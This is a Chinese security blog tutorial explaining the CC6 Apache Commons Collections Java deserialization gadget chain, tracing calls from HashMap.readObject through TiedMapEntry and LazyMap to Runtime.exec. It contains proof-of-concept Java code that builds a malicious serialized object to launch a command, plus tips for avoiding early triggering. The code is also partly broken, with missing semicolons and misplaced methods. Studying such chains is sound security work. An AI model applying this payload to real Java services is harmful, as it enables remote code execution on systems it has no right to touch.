boxmoe_header_banner_img

梦中的登神殿,天才的乱葬岗

加载中

文章导读

CC6?六六六


avatar
RootReapers 2026年5月18日 76

最常用的一条CC链

不看JDK版本

其实就是CC1换了个走向,结合了URLDNS



先看一下走向


前半条有点陌生,从后半条开始

后半条完全就是LazyMap

从后半条走起

如果是CC1 LazyMap链,到这里,就可以利用AnnotationInvocationHandler(破名字够长的)

去搞动态代理调用invoke(invoke里面调用了get)然后readObject了


但是CC6不一样

走到这里,开始找get

在TiedMapEntry类里找到了它的getValue()方法里调用了get(别问咋找的)

public Object getValue() {
    return map.get(key);                    //此处get如果是LazyMap,就可以完成链子
}

往上找哪里调用getValue()

也是这个类,hashCode调用了getValue()

hashCode,很眼熟的方法

在URLDNS里面就有


从最初的那张图,结合hashCode,推测一下起点

很明显就是HashMap作为起点了


HashMap里面有个readObject

最后面触发了一个

看一下hash函数

有一个key.hashCode

调用了键的hashCode

如果有个重写了hashCode,并且hashCode能够调用危险方法的类

就能够闭环了

刚才也看到了,TiedMapEntry,重写hashCode,里面有个getValue,getvalue能够调用get


写Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6{
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//拿到LazyMap

    TiedMapEntry tm = new TiedMapEntry(lazyMap,"123456")//第二个参数这里用不上,不管,随便给个值
    
    HashMap<Object,Object> hm = new HashMap();
    hm.put(tm,"123456")
    
   
}
public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

看起来是弹了,但其实不是反序列化弹的


注释掉了照样执行,为什么

HashCode的readObject有个putval

刚好,HashMap对象的put方法,实际上就是调用putval

所以其实链在这里就提前触发了

如何修复?

链能触发,是因为最核心的那里走通了

先让它在put时走不通,put完之后再反射改通即可


最重要的就是调用了TiedMapEntry的重写hashcode

然后重写hashcode里面又触发getvalue,getvalue里面触发get

get之所以能够触发rce,是因为传入了LazyMap,LazyMap里面有

Object value = factory.transform(key);factory在构造方法中,允许

Transformer类型的任意对象传入

那也就是说,核心是factory

先传一个正常的factory,然后put完之后就拿反射改成恶意factory

用到ConstantTransformer,永远返回一个常量

put完之后反射改成恶意factory


现在应该可以了

***

参考infer师傅的博客,找到了原因和解决办法


这里的if判断,首先判断的是,LazyMap构造方法中传入的map,是否存在对应的key,比如get(abc),if就检查map里面有没有叫做abc的键

如果是false就进入


我们传的是一个空map

当然没有值

看一下key指向谁

打个断点,发现是1234

由TiedMapEntry传入

关键在这

TiedMapEntry传入的第二个参数叫做作为key属性

被getValue触发map.get(key)

key走到了LazyMap,作为参数被其get调用

然后因为我们传给LazyMap的是一个空map

自然进入if

然后被put了值

value=12344321(ConstantTransformer永远返回常量)

key=1234

导致恶意类进不去

手动把它清空

让恶意类进去即可完成调用




看不懂的师傅看这里,我整明白了

POC触发了两次hashcode,一次是hm.put,我们主动写的,要把TiedMapEntry对象put到HashMap里


并且为了避免LazyMap直接提前触发rce,我们改成了Constantransformer

准备put完之后反射改为ChainedTransformer


经过一次put,此时,LazyMap对象里面已经有值了


这个时候开始反序列化,readObject被调用

再次触发put

此时put不进去,因为LazyMap有值,不会进入if,而是直接return!





评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码